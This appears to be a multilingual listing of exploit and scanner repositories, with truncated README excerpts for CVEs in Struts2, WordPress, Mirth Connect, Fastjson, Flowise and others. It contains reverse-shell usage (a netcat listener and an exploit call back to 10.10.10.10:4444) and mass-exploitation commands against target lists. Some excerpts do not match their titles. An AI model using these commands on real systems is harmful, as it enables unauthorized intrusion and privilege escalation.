vulhub-struts2

S2-045 远程代码执行漏洞（CVE-2017-5638） 影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10 漏洞详情: http://struts.apache.org/docs/s2-045.html https://blog.csdn.net/u011721501/article/details/60768657 https://paper.seebug.org/247/ 漏洞环境 执行如下命令启动struts2 2.3.30： docker compose up -d...

CVE-2023-5360

CVE-2023-5360 CVE-2023-5360 Auto Shell Upload WordPress Royal Elementor 1.3.78 Shell Upload...

CVE-2022-24086

PoC de CVE-2022-24682 ¿Cómo funciona este método de detección? Como se indica en los avisos, las versiones 8.8.x anteriores al parche 30 actualización 1 de 8.8.15 son vulnerables a ataques; la plantilla comprueba las siguientes versiones: - "8.8" - "8.8.6" - "8.8.7" - "8.8.8" - "8.8.9" - "8.8.10"...

cve-2022-33082-exploit

CVE 2022-33082 漏洞利用 免责声明 此代码仅供道德 目的使用——理解漏洞并测试自己的系统或已授权的系统。使用即表示您同意遵循道德规范，如未遵循，本人不承担任何责任。 该漏洞利用适用于 Open Policy Agent OPA 0.41.0 及更低版本。在 Linux 上安装 OPA 实例以测试，命令如下： curl -L -o opa https://openpolicyagent.org/downloads/v0.41.0/opalinuxamd64static chmod +x opa ./opa run --server 然后，在网页浏览器中导航至...

CVE-2023-51504

CVE-2023-51504 Esta es una reproducción dockerizada de la inyección SQL de MotoCMS cf exploit db Descripción Inyección SQL en MotoCMS Versión 3.4.3 a través del parámetro keyword en el enlace https://template189526.motopreview.com/store/category/search/?keyword=1 La reproducción de la...

linux-4.1.15_CVE-2023-28772

Linux 内核发行版 4.x http://kernel.org/ 这些是 Linux 4.x 版本的发布说明。请仔细阅读，因为它们会告诉你这是关于什么的，解释如何安装内核，以及如果出现问题该怎么办。 什么是 Linux？ Linux 是 Unix 操作系统的一个克隆，由 Linus Torvalds 在来自网络各地的松散黑客团队的协助下从头编写。它致力于符合 POSIX 和单一 UNIX 规范。 它拥有你期望在一个现代全功能 Unix 中应有的所有特性，包括真正的多任务、虚拟内存、共享库、按需加载、共享写时复制可执行文件、适当的内存管理，以及包括 IPv4 和 IPv6 的多栈网络。...

spring-webmvc5

spring-webmvc5 Fork spring-webmvc 5.3.39 to fix CVE-2024-38816, CVE-2024-38819 Maven 在项目的pom.xml的dependencies中加入以下内容: io.github.jaloon spring-webmvc5 5.3.39.1...

cmty-ssl-heartbleed-CVE-2014-0160-HTTP-HTTPS

此检查仅用于演示。 cmty-ssl-heartbleed-CVE-2014-0160-HTTP-HTTPS 直接针对已发现的 HTTP 和 HTTPS 服务上的 OpenSSL 产品进行检测。此检查不会检测存在漏洞的 OpenSSL 1.0.2-beta 版本。此外，OpenSSL 通常被打包到其他软件中，因此建议针对任何使用 SSL 响应的服务进行更精准的检测。 注意：此检查基于版本检测，并不直接测试漏洞。 其他检测方法 从 nmap -A -T4 --xml targets 中发现并提取使用 SSL 的端口和目标列表 使用 NMAP 6.3+ 循环遍历目标主机：nmap -sV -...

CVE-2018-15473_burte

CVE-2018-15473burte openssh7.7 用户名枚举...

eclipse__hawkbit_CVE-2020-27219_0-3-0M6

Eclipse hawkBit™ - Servidor de Actualizaciones Eclipse hawkBit es una solución de backend independiente del dominio para implementar actualizaciones de software en dispositivos de borde con recursos limitados, así como en controladores y puertas de enlace más potentes conectados a infraestructura...

CVE-2023-30226

CVE-2023-30226 Rizin 是一个从 radare2 分支出来的逆向工程框架，在其 ELF 解析器代码中发现了一个缺陷，允许构造的文件执行拒绝服务攻击。这将阻止用户将文件加载到 rizin 中，但对文件本身的执行没有影响。 普通的 ELF 文件依赖于动态链接/加载，因此嵌入了大量信息。其中一项信息是在 .dynamic 部分中找到的 DTVERNEEDNUM 条目，该字段指定了符号版本依赖表中的条目数量。因此，该值应用于解析每个版本依赖项，但表的设计使得在最后一个 verneed 条目上，vnnext 字段将等于 0。然而，rizin...

CVE-2023-43208

Mirth Connect RCE - CVE-2023-43208 描述 适用于 Mirth Connect 远程代码执行 RCE 的 PoC 影响 Mirth Connect 示例 启动监听器 nc -lvnp 4444 运行漏洞利用程序 ./exploit https://target.com 10.10.10.10 4444 参考链接 https://nvd.nist.gov/vuln/detail/CVE-2023-43208 https://github.com/advisories/GHSA-pj5c-qr29-6746...

CVE-2026-16723

CVE-2026-16723 Exploit A standalone C++17 implementation for CVE-2026-16723 , a critical vulnerability affecting Fastjson versions 1.2.68 – 1.2.83. Requirements Linux or WSL on Windows C++17 compatible compiler GCC 7+ or Clang 5+ CMake 3.10 or newer System packages: libzip-dev zlib1g-dev Debian /...

CVE-2021-41074

CVE-2021-41074 CSRF en Qloapps HotelCommerce 1.5.1 Hay una vulnerabilidad de CSRF en HotelCommerce 1.5.1. Puede permitir que cualquier persona cambie el correo electrónico del administrador. Si un atacante consigue que un administrador haga clic en un documento HTML manipulado maliciosamente, pue...

CVE-2017-9554-Exploit-Tool

CVE-2017-9554-漏洞利用工具 CVE-2017-9554 漏洞利用工具 Synology DiskStation Manager DSM 6.1.3-15152 - 'forgetpasswd.cgi' 用户枚举漏洞利用工具 漏洞利用作者：Steve Kaun 漏洞利用工具作者：Ez0-yf 厂商主页：https://www.synology.com 版本：6.1.3-15152 之前 CVE：CVE-2017-9554...

-CVE-2025-59528-PoC

CVE-2025-59528-PoC SOLO CON FINES EDUCATIVOS Un sencillo script de Python para explotar CVE-2025-59528, una vulnerabilidad de RCE autenticada en la aplicación Flowise, una popular herramienta de IA, que también forma parte de un desafío estacional de HTB, en el que lo probé, por cierto. Si no...

Apache-Hunter

ApacheHunter - 高级 Apache 服务器扫描器 由 Rownok Ahmed Khan 开发 GitHub:https://github.com/Rk-000 ApacheHunter 是一款功能强大的扫描器，用于检测 Apache 服务器、识别版本并检查 Apache Answer 安装中的 CVE-2024-22393（像素洪水漏洞）。 功能特点 ✅ 检测 Apache 服务器并提取版本 ✅ 检查 CVE-2024-22393 漏洞 ✅ 多种检测方法（头部信息、页面分析、路径探测） ✅ 三种扫描速度（慢速、普通、快速） ✅ 代理支持 ✅...

CVE-2022-41741-742-Nginx-Vulnerability-Scanner

🛡️ Nginx Vulnerability Scanner 由 m10sec 开发。 该脚本自动检测远程服务器上的 Nginx 版本，并评估其是否受到已知安全漏洞的影响，具体包括： CVE-2023-44487 – HTTP/2 Rapid Reset 攻击 CVE-2022-41741 – ngxhttpmp4module 中的内存破坏 CVE-2022-41742 – ngxhttpmp4module 中的内存泄露 🚀 功能特性 提示用户输入要分析的服务器 URL 或 IP。 检测服务器是否正在使用 Nginx 并提取其版本。 检查 ngxhttpmp4module 模块是否启用。...

CVE-2025-6254

CVE-2025-6254 python exploit.py -u http://localhost:8080 python exploit.py -f targets.txt -T 50 -t 8 python exploit.py -f targets.txt -o sonuclar.txt --role editor CVE-2025-6254 - Doctreat Core = 1.6.8 Unauthenticated Privilege Escalation 仅在您自己的测试环境中使用...

cve-2023-45612_exploit

cve-2023-45612exploit CVE-2023-45612 是一个高严重性安全问题，允许对 Ktor 的 XML 序列化进行 XXE（XML 外部实体）攻击，该问题已在 2023 年修复。 复现安全问题 下面是我复现该问题的详细方式。 IntelliJ IDEA 项目 首先，我们需要一个处理 XML 文件的服务器。我们通过 IntelliJ IDEA 创建一个 Kotlin 项目，并修改 build.gradle.kts 以使用所需的 Ktor 依赖和序列化插件。 我们关心的依赖是 io.ktor:ktor-serialization-kotlinx-xml。版本 2.3....